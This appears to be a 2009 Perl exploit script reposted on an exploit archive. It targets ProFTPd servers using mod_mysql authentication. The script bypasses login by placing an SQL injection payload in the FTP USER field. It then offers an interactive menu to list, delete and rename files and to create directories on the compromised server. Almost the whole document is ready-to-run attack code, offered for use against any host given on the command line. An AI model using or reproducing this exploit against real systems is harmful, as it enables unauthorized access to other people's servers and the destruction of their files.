Home / os / win10

proftpdmysql-sql.txt

Posted on 11 February 2009

# Credits Go For gat3way For Finding The Bug ! [AT] http://milw0rm.com/exploits/8037
# Exploited By AlpHaNiX
# HomePage NullArea.Net
# Greetz For Zigma-Djekmani-r1z

use Net::FTP;

if (@ARGV < 1 ) { print"


[+] Usage : ".
"

[+] ./exploit.pl ftp.target.net 

" ; exit();}
$host = $ARGV[0];
system("cls") ;
print "----------------------------------------------------------
".
"[+] ProFTPd with mod_mysql Authentication Bypass Exploit 
".
"[+] Credits Go For gat3way For Finding The Bug !
".
"[+] Exploited By AlpHaNiX 
".
"[+] NullArea.Net
".
"----------------------------------------------------------
"."
[!] Attacking $host ..." ;
$user = "USER %') and 1=2 union select 1,1,uid,gid,homedir,shell from users; --";
$pass = '1';

$ftp = Net::FTP->new("$host", Debug => 0) or die "[!] Cannot connect to $host";
$ftp->login("$user","$pass") or die "

[!] Couldn't ByPass The authentication ! ", $ftp->message;
print "
[*] Connected To $host";

print "
[!] Please Choose A Command To Execute On $host :
" ;
print "


[1] Show Files
" ;
print "[2] Delete File
";
print "[3] Rename File or Dir
";
print "[4] Create A Directory
";
print "[5] Exit
";
print "Enter Number Of Command Here => " ;
my $command = <STDIN> ;
chomp $command ;

if ($command==1){&Show}
if ($command==2){&Delete}
if ($command==3){&rename}
if ($command==4){&create_dir}
if ($command==5){&EXIT}
if ($command =! 1||2||3||4||5) {print "
[!] Not Valid Choise ! Closing..." ;exit()}

sub Show
{
print "


[!] Please Specify a directory
";
my $dir = <STDIN> ;
chomp $dir ;
$ftp->cwd($dir) or $newerr=1;
push @ERRORS, "Can't cd  $!
" if $newerr;
myerr() if $newerr;
$ftp->quit if $newerr;

@files=$ftp->dir or $newerr=1;
push @ERRORS, "Can't get file list $!
" if $newerr;
myerr() if $newerr;
print "Got  file list
";
foreach(@files) {
print "$_
";

}
exit();
}

sub Delete
{
print "


[!] Please Specify a File To Delete
";
my $file = <STDIN> ;
chomp $file ;
$ftp->delete($file) or die "
[!] Error while Deleting $file => " , $ftp->message ;
print "
[!] $file Deleted !";
}

sub rename
{
print "


[!] Please Specify a File To Rename
";
my $file = <STDIN> ;
chomp $file ;
print "
[!] Please Specify a New Name For $file
";
my $name = <STDIN> ;
chomp $name ;
$ftp->rename($file,$name) or die "
[!] Error while Renaming $file => " , $ftp->message ;
print "
[!] $file Renamed to $name !";
}


sub create_dir
{
print "


[!] Please Specify a Directory Name To create
";
my $dir = <STDIN> ;
chomp $dir ;
$ftp->mkdir($dir) or die "
[!] Error while creating $dir => " , $ftp->message ;
print "
[!] $dir Created !";
}

sub EXIT
{
system("cls");
$ftp->quit;
exit();
}

 

TOP